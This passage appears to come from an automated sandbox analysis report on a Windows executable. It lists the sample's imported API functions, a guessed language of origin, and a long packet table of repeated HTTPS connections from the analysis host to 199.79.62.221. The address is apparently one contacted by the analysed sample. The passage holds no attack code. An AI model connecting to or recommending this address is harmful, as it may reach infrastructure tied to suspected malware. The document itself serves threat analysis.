CloseClipboard, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CoTaskMemFree, ProgIDFromCLSID, StringFromCLSID, CoCreateInstance, CoUninitialize, CoInitialize, IsEqualGUID
oleaut32.dll	GetErrorInfo, GetActiveObject, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
winspool.drv	OpenPrinterA, EnumPrintersA, DocumentPropertiesA, ClosePrinter
shell32.dll	ShellExecuteA
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA
winmm.dll	sndPlaySoundA
kernel32	VirtualProtect, GetProcAddress
URL	AddMIMEFileTypesPS

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 15:08:21.484030962 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:21.484100103 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:21.484188080 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:21.509588003 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:21.509640932 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:21.862157106 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:21.862267971 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.217925072 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.217978001 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.218626976 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.218995094 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.226758957 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.267422915 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.399334908 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.399461031 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.399487972 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.399513006 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.399539948 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.399564981 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.402040005 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.402065039 CEST	443	49744	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.402080059 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.402113914 CEST	49744	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.861202002 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.861228943 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:22.861300945 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.862855911 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:22.862869978 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:23.211263895 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:23.211412907 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:23.215138912 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:23.215150118 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:23.221486092 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:23.221506119 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:23.560089111 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:23.560187101 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:23.560342073 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:23.567523003 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:23.567540884 CEST	443	49752	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:23.567568064 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:23.567615032 CEST	49752	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.068614006 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.068708897 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.068830013 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.070420980 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.070461035 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.411120892 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.411216974 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.411870956 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.411885977 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.417805910 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.417826891 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.755089998 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.755228043 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.755284071 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.755309105 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.760893106 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.760936022 CEST	443	49755	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:24.760953903 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:24.760993958 CEST	49755	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.134349108 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.134382010 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.134471893 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.135454893 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.135468960 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.477339029 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.477513075 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.478104115 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.478117943 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.499500990 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.499517918 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.816201925 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.816294909 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.816315889 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.816359997 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.816796064 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.816817999 CEST	443	49758	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:25.816833019 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:25.816874981 CEST	49758	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.243448973 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.243490934 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.243602037 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.244436026 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.244461060 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.586688042 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.586846113 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.603463888 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.603482008 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.608220100 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.608232021 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.927123070 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.927220106 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.927221060 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.927289009 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.931816101 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.931838989 CEST	443	49759	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:26.931852102 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:26.931905985 CEST	49759	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:27.442230940 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:27.442260027 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:27.442384958 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:27.443046093 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:27.443058968 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:27.792253971 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:27.793203115 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:27.814018011 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:27.814028025 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:27.820408106 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:27.820415020 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:28.141289949 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:28.141351938 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:28.141484976 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:28.141777039 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:28.141793966 CEST	443	49760	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:28.141877890 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:28.141902924 CEST	49760	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:28.673414946 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:28.673455954 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:28.673557997 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:28.674215078 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:28.674226999 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.018188953 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.018321037 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.019031048 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.019043922 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.023643017 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.023654938 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.361562014 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.361637115 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.361722946 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.361753941 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.368004084 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.368045092 CEST	443	49761	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.368055105 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.368105888 CEST	49761	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.918092966 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.918195963 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:29.918360949 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.918905973 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:29.918942928 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:30.263407946 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:30.263566017 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:30.275845051 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:30.275892973 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:30.279987097 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:30.280040026 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:30.606923103 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:30.607089043 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:30.607115984 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:30.607177019 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:30.634629965 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:30.634705067 CEST	443	49762	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:30.634727001 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:30.634769917 CEST	49762	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.280955076 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.280991077 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.281086922 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.282531023 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.282557964 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.623265982 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.623370886 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.624151945 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.624169111 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.628324032 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.628340960 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.962150097 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.962227106 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.962353945 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.973336935 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.973366022 CEST	443	49763	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:31.973380089 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:31.973417044 CEST	49763	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:33.318043947 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:33.318120003 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:33.318245888 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:33.325887918 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:33.325958014 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:33.675033092 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:33.675163984 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:33.678561926 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:33.678587914 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:33.682929993 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:33.682954073 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:34.024735928 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:34.024852037 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:34.024929047 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:34.024960041 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:34.790889025 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:34.790929079 CEST	443	49764	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:34.790937901 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:34.790978909 CEST	49764	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:37.827115059 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:37.827178955 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:37.827301025 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:37.828063011 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:37.828098059 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:38.174426079 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:38.174736023 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:38.185111046 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:38.185137033 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:38.191349030 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:38.191364050 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:38.518577099 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:38.518693924 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:38.518735886 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:38.518775940 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:38.524393082 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:38.524434090 CEST	443	49765	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:38.524447918 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:38.524514914 CEST	49765	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.288351059 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.288408995 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.288510084 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.289150000 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.289171934 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.631081104 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.635062933 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.639146090 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.639166117 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.643806934 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.643826962 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.970856905 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.970971107 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.971139908 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.971502066 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.971534014 CEST	443	49766	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:39.971548080 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:39.971602917 CEST	49766	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:40.746552944 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:40.746623039 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:40.746737957 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:40.747329950 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:40.747375965 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.089345932 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.089442015 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.091367960 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.091384888 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.096478939 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.096494913 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.431263924 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.431417942 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.431421995 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.431504965 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.441092968 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.441147089 CEST	443	49767	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.441169977 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.441255093 CEST	49767	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.906434059 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.906491041 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:41.906620026 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.908044100 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:41.908075094 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:42.252688885 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:42.252804995 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:42.253540993 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:42.253562927 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:42.258183956 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:42.258227110 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:42.597713947 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:42.597835064 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:42.597882986 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:42.597930908 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:42.599462986 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:42.599497080 CEST	443	49768	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:42.599514961 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:42.599581003 CEST	49768	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.211932898 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.211992979 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.212122917 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.213789940 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.213814974 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.554546118 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.554637909 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.555563927 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.555577993 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.564513922 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.564533949 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.896667957 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.896930933 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.896945000 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.896972895 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.897039890 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.897047043 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.902122021 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.902147055 CEST	443	49769	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:43.902154922 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:43.902692080 CEST	49769	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:44.724822044 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:44.724886894 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:44.724983931 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:44.725625038 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:44.725651979 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.074536085 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.074706078 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.075540066 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.075563908 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.080318928 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.080363035 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.424261093 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.424438000 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.424438953 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.424504995 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.434202909 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.434252024 CEST	443	49770	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.434264898 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.434309959 CEST	49770	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.837949991 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.838017941 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:45.838159084 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.844430923 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:45.844480038 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:46.186420918 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:46.186578989 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:46.189192057 CEST	49771	443	192.168.2.4	199.79.62.221
